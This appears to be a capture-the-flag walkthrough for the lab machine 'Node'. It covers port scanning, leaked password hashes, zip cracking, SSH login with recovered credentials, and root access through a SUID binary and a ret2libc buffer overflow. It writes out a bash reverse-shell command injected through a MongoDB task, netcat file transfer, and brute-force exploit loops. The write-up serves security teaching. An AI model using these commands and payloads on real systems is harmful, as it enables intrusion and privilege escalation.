Node

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.58 -oN allPorts
-sSuse the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000nmap will try to keep the sending rate at or above 5000 packets per second.-p-scanning the entire port range, from 1 to 65535.-T5insane mode, it is the fastest mode of the nmap time template.-Pnassume the host is online.-nscan without reverse DNS resolution.-oNsave the scan result into a file, in this case the allports file.
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,3000 10.10.10.58 -oN targeted
-sCperforms the scan using the default set of scripts.-sVenables version detection.-oNsave the scan result into file, in this case the targeted file.
To get more information of the website on port 3000, let's see what the Wappalyzer extension detects.

The website is made in Node.js. It shows some users on the main page.

Exploitation
In the source code, we can see a few JavaScript files.

The script /assets/js/app/controllers/admin.js shows the /login directory, which contains a login page.

The /assets/js/app/controllers/profile.js JavaScript file shows the /api/users/ directory, which contains users, and their password hashes.

There is one user called myP14ceAdm1nAcc0uNT which is the admin user for the website. Let's make use of rainbow tables and try to find out the password.

Let's try to log in with those credentials in the /login page.

There is a button Download Backup, which will download a file called myplace.backup.

The file has a giant string encoded in base64.
cat myplace.backup
If we decoded, we'll see that it seems to be a .zip file. Let's put all the content in myplace.backup.zip.
cat myplace.backup | base64 -d > myplace.backup.zip
We can't unzip it because we need a password.
unzip myplace.backup.zip
Let's get the hash of the .zip file.
zip2john myplace.backup.zip 2>/dev/null > myplace.backup.hash
Now, john should be able to crack the hash pretty fast.
john --wordlist=/usr/share/wordlists/rockyou.txt myplace.backup.hash
Now, we can unzip the file.
unzip myplace.backup.zip
It looks like a backup of the entire /var/www/html directory. If we take a look inside the app.js file, we'll see some credentials.
cat var/www/html/app.js
Let's try to log in as the mark user in the machine via SSH.
sshpass -p '5AYRft73VtFpc84k' ssh mark@10.10.10.58
If we search for SUID binaries in the system, we'll see one called /usr/local/bin/backup, which only root and users in the admin group can execute.
find / -perm /4000 2>/dev/null | xargs ls -l
Only root and tom are members of the admin group.
cat /etc/group | grep admin
We might need to become tom. Let's see if there is any process run by tom.
ps aux | grep tom
There are a few processes. The second one is running the /var/scheduler/app.js script. The script is logging into a MongoDB app with the credentials we found earlier. Then, is checking inside the scheduler database for the tasks collection, and executing the value of the cmd key.
cat /var/scheduler/app.js
Let's set a netcat listener on port 4444.
nc -lvnp 4444
-llisten mode.-vverbose mode.-nnumeric-only IP, no DNS resolution.-pspecify the port to listen on.
Access the scheduler database in MongoDB with the credentials in the script.
mongo -u mark -p 5AYRft73VtFpc84k scheduler
As expected, there is one collection called tasks.
show collections
Now, let's insert into the tasks collection the key cmd with a command as a value, which will send us a reverse shell on port 4444.
db.tasks.insert({"cmd":"bash -c 'bash -i >& /dev/tcp/10.10.14.11/4444 0>&1'"})
Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
Now that we belong to the admin group, we can execute the SUID binary.
id
If we execute the script by itself nothing happens.
backup
But if we execute it with three arguments, we get some output.
backup a b c
Let's take a look with ltrace how the program is being executed. First, we can see that it is trying to compare the first argument with -q. This argument seems to activate the quiet mode.
ltrace backup a b c
Second, it is comparing the second argument with each key stored in /etc/myplace/keys.
ltrace backup -q b c
We can take a look at the /etc/myplace/keys file.
cat /etc/myplace/keys
If we run the binary without the quiet mode, and giving a proper key, we'll see that it is checking if the third argument exists.
backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 c
If we try to give it a path that exists, such as /tmp, we'll get a base64 encoded string.
backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /tmp
With ltrace, we can see that it is creating a ZIP file with the protected password magicword, and then it is encoding the content in base64.
ltrace backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /tmp
As this binary is SUID, and we are executing it as root, we could try to give the /root path as an argument, so then we can decode it, unzip it and take the root flag.
backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /root
Let's copy the string, put it in the root.encoded file, decode it, and put the content in the root.zip file.
cat root.encoded | base64 -d > root.zip
Then, decompress the file with 7z giving the password magicword.
7z x root.zip
But, if we see the root flag, we'll see that we got trolled.
cat root.txt
If we take a look at the command with ltrace, we'll see that at some point it is checking if the third argument is /root.
ltrace backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 /root
The problem is that it is checking if it is /root, so we could go to the / directory and execute the binary giving root as the third argument. This way we can bypass the restriction, and we'll be able to zip the root directory.
cd /
backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 root
Let's make the root.zip file again.
cat root.encoded | base64 -d > root.zip
Then, decompress the file with 7z giving the password magicword.
7z x root.zip
This time we are able to see the correct root flag.
cat root/root.txt
Buffer Overflow
There is a way to get a shell as root by exploiting a buffer overflow vulnerability in the backup binary. If we give 1000 A characters as the third argument of the binary, we'll get a segmentation fault.
backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 $(python -c "print('A'*1000)")
Let's transfer the binary to our local machine. Set a netcat listener on port 5555 pointing to backup.
nc -lvnp 5555 > backup
Then, transfer the binary from the victim machine.
nc 10.10.14.11 5555 < /usr/local/bin/backup
In order to make the binary work, we'll have to give it execution permissions, and we'll have to create the /etc/myplace/keys file on our local machine with the keys.
chmod +x backup
nano /etc/myplace/keys
We are ready to exploit the buffer overflow. Let's run the binary with gdb.
gdb ./backup
Note that I am using gef. The same way as before, if I run the script with 1000 A characters, it will crash, and I'll be able to see all the registries filled with 41.
gefβ€ r $(python -c "print('A'*500)")
The program only has the NX memory protection enabled.
gefβ€ checksec
But, we can see that ASLR is enabled on the victim machine.
cat /proc/sys/kernel/randomize_va_space
As ASLR is enabled, and the NX memory protection is enabled, the easiest way of exploiting this buffer overflow vulnerability is doing a Return to libc attack.
First, let's check at what point we start overwriting the EIP. Create a pattern with gef.
gefβ€ pattern create 1000
And execute the program giving the pattern as the third argument.
gefβ€ r a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 aaaab...yaaj
As we see, the EIP has the vale daaf. With that value, we could see that the offset is 512.
gefβ€ pattern offset $eip
Now, as I have control of the EIP, I could fill it with B characters.
gefβ€ r a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 $(python -c "print('A'*512+'B'*4)")
To exploit Return to Libc, and be able to spawn a shell as root, we'll need the system address, the exit address, the /bin/bash address and the base_libc address. First, we have to get the base_libc address from the victim machine. This address changes every time we execute the binary because ASLR is enabled on the system. But, we'll pick a random one, and execute the final exploit multiple times, so when the base_libc address match, the root shell will appear. In this case is 0xf7579000.
ldd /usr/local/bin/backup
We can see that the offset of the system and exit functions are 0x0003a940 and 0x0002e7b0.
readelf -s /lib32/libc.so.6 | grep -E " system@@| exit@@"
-s display the symbol table.
Finally, we'll need the offset of the /bin/sh function, which is 0x0015900b.
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
-ascan the entire file.-t xprint the location of the string in base 16.
Now, that I have the function's offset and the base_lib address, I can calculate the system, exit and /bin/sh addresses by adding the offset to the base_lib address.
The final payload will be the initial 512 A characters, the system address, the exit address and the /bin/sh address. The following script will calculate all the addresses, and print the final payload.
nano /tmp/bof.py
Finally, if we make a loop of 1000 iterations, run the backup binary, and running the python script as the third argument of the binary, at some point, the base_libc addresses will match, and we'll get a shell as root. Then, all we have to do is reap the harvest and take the root flag.
for i in $(seq 1 1000); do backup a a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508 $(python /tmp/bof.py); done
Last updated
Was this helpful?